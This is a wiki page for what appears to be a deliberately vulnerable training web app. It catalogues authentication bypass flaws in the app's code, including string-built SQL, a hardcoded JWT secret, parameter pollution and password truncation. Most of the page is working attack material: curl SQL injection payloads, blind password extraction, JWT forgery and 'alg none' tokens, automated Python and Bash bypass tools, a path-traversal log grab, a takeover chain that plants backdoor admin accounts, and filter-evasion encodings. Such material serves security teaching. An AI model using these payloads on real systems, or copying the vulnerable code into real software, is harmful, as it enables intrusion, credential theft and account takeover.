Authentication Bypass - capstone-hermes/hermes-fullstack GitHub Wiki
Authentication Bypass
Overview
The Weak Website contains multiple authentication bypass vulnerabilities that allow attackers to gain unauthorized access to user accounts and administrative functions. These vulnerabilities stem from improper input validation, weak session management, and flawed authentication logic.
Vulnerability Categories
1. SQL Injection Authentication Bypass
2. Parameter Pollution Bypass
3. JWT Token Manipulation
4. Password Policy Bypass
5. Session Management Flaws
SQL Injection Authentication Bypass
Vulnerable Code Location
File: server/src/modules/auth/auth.service.ts:24-26
async login(email: string, password: string) {
// SQL Injection vulnerability
const user = await this.userRepository.query(
`SELECT * FROM user WHERE email = '${email}' AND password = '${password}'`
);
if (user.length === 0) {
return { error: 'Invalid credentials' };
}
const token = jwt.sign({ userId: user[0].id }, 'hardcoded-secret');
return { token };
}
Basic Authentication Bypass
Method 1: Comment Injection
# Bypass using SQL comments
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\''--","password":"anything"}'
How it works:
-- Original query
SELECT * FROM user WHERE email = 'admin' AND password = 'anything'
-- Injected query
SELECT * FROM user WHERE email = 'admin'--' AND password = 'anything'
-- The '--' comments out the password check
Method 2: OR Injection
# Bypass using OR logic
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\'' OR '\''1'\''='\''1'\''--","password":"ignored"}'
Resulting Query:
SELECT * FROM user WHERE email = 'admin' OR '1'='1'--' AND password = 'ignored'
Method 3: UNION-based Bypass
# Bypass using UNION to inject admin user
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"'\'' UNION SELECT 1,'\''[email protected]'\'','\''password123'\'','\''admin'\''--","password":"password123"}'
Advanced SQL Injection Techniques
Time-based Blind Authentication
# Test for time-based injection
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\'' AND (SELECT SLEEP(5))--","password":"test"}'
Boolean-based User Enumeration
# Check if admin user exists
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\'' AND (SELECT COUNT(*) FROM user WHERE email='\''[email protected]'\'')>0--","password":"test"}'
# Extract password length
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\'' AND (SELECT LENGTH(password) FROM user WHERE email='\''[email protected]'\'')>10--","password":"test"}'
Character-by-Character Password Extraction
# Extract first character of admin password
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin'\'' AND (SELECT SUBSTRING(password,1,1) FROM user WHERE email='\''[email protected]'\'')='\''p'\''--","password":"test"}'
Parameter Pollution Bypass
Vulnerable Code Location
File: server/src/vulnerable-params.middleware.ts
@Injectable()
export class VulnerableParamsMiddleware implements NestMiddleware {
use(req: any, res: any, next: () => void) {
// Last parameter wins - enables parameter pollution
if (req.body && typeof req.body === 'object') {
Object.keys(req.body).forEach(key => {
if (Array.isArray(req.body[key])) {
req.body[key] = req.body[key][req.body[key].length - 1];
}
});
}
next();
}
}
Exploitation Techniques
Basic Parameter Pollution
# Send multiple email parameters - last one wins
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","email":"[email protected]","password":"wrongpass","password":"password123"}'
JSON Array Pollution
// Using JavaScript to send array parameters
fetch('http://localhost:8080/auth/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
email: ['[email protected]', '[email protected]'], // Last element wins
password: ['wrongpass', 'password123'] // Last element wins
})
});
Form Data Pollution
# Using form data with multiple parameters
curl -X POST http://localhost:8080/auth/login \
-d "[email protected]&[email protected]&password=wrong&password=password123"
Parameter Pollution in Registration
Privilege Escalation via Registration
# Create admin user via parameter pollution
curl -X POST http://localhost:8080/auth/signup \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Password123!","role":"user","role":"admin"}'
JWT Token Manipulation
Vulnerable Implementation
File: server/src/modules/auth/auth.service.ts:35
// Hardcoded weak JWT secret
const token = jwt.sign({ userId: user[0].id }, 'hardcoded-secret');
Token Forgery Techniques
Method 1: Known Secret Exploitation
// Create forged JWT with known secret
const jwt = require('jsonwebtoken');
const payload = {
userId: 1, // Admin user ID
role: 'admin',
iat: Math.floor(Date.now() / 1000)
};
const forgedToken = jwt.sign(payload, 'hardcoded-secret');
console.log('Forged token:', forgedToken);
Method 2: Algorithm Confusion Attack
// Change algorithm from HS256 to none
const header = {
"alg": "none",
"typ": "JWT"
};
const payload = {
"userId": 1,
"role": "admin"
};
// Create token without signature
const unsignedToken = btoa(JSON.stringify(header)) + '.' +
btoa(JSON.stringify(payload)) + '.';
Method 3: Secret Brute Force
#!/usr/bin/env python3
import jwt
import requests
# Common weak secrets to try
secrets = [
'secret', 'password', '123456', 'admin', 'test',
'hardcoded-secret', 'jwt-secret', 'my-secret'
]
# Captured JWT token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
for secret in secrets:
try:
decoded = jwt.decode(token, secret, algorithms=['HS256'])
print(f"Secret found: {secret}")
print(f"Decoded payload: {decoded}")
break
except jwt.InvalidTokenError:
continue
Token Manipulation Examples
Administrative Token Creation
# Use forged admin token
curl -X GET http://localhost:8080/users/profile \
-H "Authorization: Bearer <forged_admin_token>"
Extended Expiration
// Create token with far future expiration
const payload = {
userId: 1,
exp: Math.floor(Date.now() / 1000) + (365 * 24 * 60 * 60) // 1 year
};
const longLivedToken = jwt.sign(payload, 'hardcoded-secret');
Password Policy Bypass
Vulnerable Password Validation
File: server/src/modules/auth/password.helper.ts
// V2.1.3: Password truncation vulnerability
normalizePassword(password: string): string {
return password.substring(0, 20); // Truncates at 20 characters
}
// V2.1.4: ASCII-only validation
validatePasswordCharacters(password: string): boolean {
return /^[\x20-\x7E]*$/.test(password); // Only ASCII printable
}
Bypass Techniques
Password Truncation Bypass
# Password gets truncated, making it weaker
curl -X POST http://localhost:8080/auth/signup \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Pass1!VERY_LONG_PASSWORD_THAT_GETS_TRUNCATED"}'
# Login with truncated version
curl -X POST http://localhost:8080/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Pass1!VERY_LONG_PASSW"}'
Composition Rule Bypass
# Minimal password that meets requirements
curl -X POST http://localhost:8080/auth/signup \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Pass1!"}'
Password Change Bypass
Disabled Password Change
File: server/src/modules/auth/auth.service.ts:84-85
// V2.1.5: Password change always fails
async changePassword(userId: number, changePasswordDto: ChangePasswordDto) {
// Always throws error - 100% failure rate
throw new Error('Password change functionality is permanently disabled');
}
All password change attempts fail, preventing users from improving security.
Session Management Bypass
Session Vulnerabilities
No Token Expiration
// Tokens never expire - indefinite access
const payload = { userId: 1 };
const token = jwt.sign(payload, 'hardcoded-secret'); // No exp claim
Token Logging
File: server/src/modules/auth/auth.service.ts:37
// Tokens logged in plain text
this.logger.log(`Token generated: ${token}`);
Session Hijacking via Logs
# Access application logs to steal tokens
curl "http://localhost:8080/file/retrieve?path=../../../server/logs/app.log"
Automated Bypass Scripts
Python Authentication Bypass Tool
#!/usr/bin/env python3
import requests
import jwt
import time
class AuthBypass:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def sql_injection_bypass(self):
"""Try SQL injection authentication bypass"""
payloads = [
"admin'--",
"admin' OR '1'='1'--",
"' OR 1=1--",
"admin' /*",
]
for payload in payloads:
data = {"email": payload, "password": "anything"}
response = self.session.post(f"{self.base_url}/auth/login", json=data)
if response.status_code == 200 and 'token' in response.text:
print(f"✓ SQL Injection successful with: {payload}")
return response.json().get('token')
return None
def parameter_pollution_bypass(self):
"""Try parameter pollution bypass"""
# Test with array parameters
data = {
"email": ["[email protected]", "[email protected]"],
"password": ["wrongpass", "password123"]
}
response = self.session.post(f"{self.base_url}/auth/login", json=data)
if response.status_code == 200 and 'token' in response.text:
print("✓ Parameter pollution successful")
return response.json().get('token')
return None
def forge_jwt_token(self):
"""Create forged JWT token"""
payload = {
"userId": 1,
"role": "admin",
"iat": int(time.time())
}
try:
token = jwt.encode(payload, 'hardcoded-secret', algorithm='HS256')
print("✓ JWT forgery successful")
return token
except Exception as e:
print(f"✗ JWT forgery failed: {e}")
return None
def test_all_bypasses(self):
"""Test all bypass methods"""
print("=== Authentication Bypass Testing ===")
# Test SQL injection
token = self.sql_injection_bypass()
if token:
return token
# Test parameter pollution
token = self.parameter_pollution_bypass()
if token:
return token
# Test JWT forgery
token = self.forge_jwt_token()
if token:
return token
print("✗ All bypass attempts failed")
return None
# Example usage
bypass = AuthBypass("http://localhost:8080")
token = bypass.test_all_bypasses()
if token:
print(f"Access token: {token}")
# Test authenticated request
headers = {'Authorization': f'Bearer {token}'}
response = requests.get("http://localhost:8080/users/profile", headers=headers)
print(f"Profile access: {response.status_code}")
Bash Bypass Testing Script
#!/bin/bash
BASE_URL="http://localhost:8080"
LOGIN_ENDPOINT="/auth/login"
echo "=== Authentication Bypass Test Suite ==="
# Test 1: SQL Injection Bypass
echo "Test 1: SQL Injection Authentication Bypass"
SQL_PAYLOADS=(
"admin'--"
"admin' OR '1'='1'--"
"' OR 1=1--"
"admin' /*"
)
for payload in "${SQL_PAYLOADS[@]}"; do
echo "Testing payload: $payload"
response=$(curl -s -X POST "$BASE_URL$LOGIN_ENDPOINT" \
-H "Content-Type: application/json" \
-d "{\"email\":\"$payload\",\"password\":\"anything\"}")
if echo "$response" | grep -q "token"; then
echo "✓ SUCCESS: SQL injection bypass worked"
echo "Response: $response"
break
else
echo "✗ Failed"
fi
done
# Test 2: Parameter Pollution
echo -e "\nTest 2: Parameter Pollution Bypass"
curl -s -X POST "$BASE_URL$LOGIN_ENDPOINT" \
-H "Content-Type: application/json" \
-d '{"email":["[email protected]","[email protected]"],"password":["wrong","password123"]}' \
| jq '.'
# Test 3: JWT Forgery (requires node.js)
echo -e "\nTest 3: JWT Token Forgery"
if command -v node &> /dev/null; then
node -e "
const jwt = require('jsonwebtoken');
const payload = { userId: 1, role: 'admin' };
const token = jwt.sign(payload, 'hardcoded-secret');
console.log('Forged token:', token);
"
else
echo "Node.js not available for JWT forgery test"
fi
echo -e "\n=== Test Complete ==="
Multi-Step Attack Chains
Complete Account Takeover Chain
Step 1: User Enumeration
# Enumerate valid users via SQL injection
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"'\'' UNION SELECT GROUP_CONCAT(email),null,null,null FROM user--","password":"test"}'
Step 2: Password Extraction
# Extract passwords for enumerated users
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"'\'' UNION SELECT GROUP_CONCAT(CONCAT(email,'\'':\''',password)),null,null,null FROM user--","password":"test"}'
Step 3: Admin Access
# Use extracted admin credentials or bypass
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"[email protected]","password":"extracted_password"}'
Step 4: Privilege Maintenance
// Create additional admin accounts for persistence
const response = await fetch('/auth/signup', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
email: ['[email protected]', '[email protected]'],
password: ['normalpass', 'BackdoorPass123!'],
role: ['user', 'admin']
})
});
Defense Evasion
Bypassing Basic Filters
Quote Escaping
# Different quote styles
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"admin\u0027--","password":"test"}' # Unicode escape
curl -X POST http://localhost:8080/auth/login \
-d "{\"email\":\"admin'--\",\"password\":\"test\"}" # Different JSON format
Encoding Bypass
# URL encoding
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"admin%27--","password":"test"}'
# Double encoding
curl -X POST http://localhost:8080/auth/login \
-d '{"email":"admin%2527--","password":"test"}'
Impact and Business Risk
Immediate Impacts
- Unauthorized Access: Bypass authentication controls
- Privilege Escalation: Gain administrative access
- Data Exposure: Access sensitive user information
- Account Takeover: Control other user accounts
Long-term Consequences
- Data Breach: Complete database compromise
- Regulatory Fines: GDPR, CCPA violations
- Reputation Damage: Loss of customer trust
- Financial Loss: Incident response and recovery costs
Next Steps:
- Try Parameter Pollution for detailed parameter manipulation
- Explore SQL Injection for comprehensive injection techniques
- Learn JWT Token manipulation for session attacks
Related Topics:
- Cross-Site Scripting - Client-side session attacks
- File Upload Attacks - Alternative access methods
- Command Injection - System-level access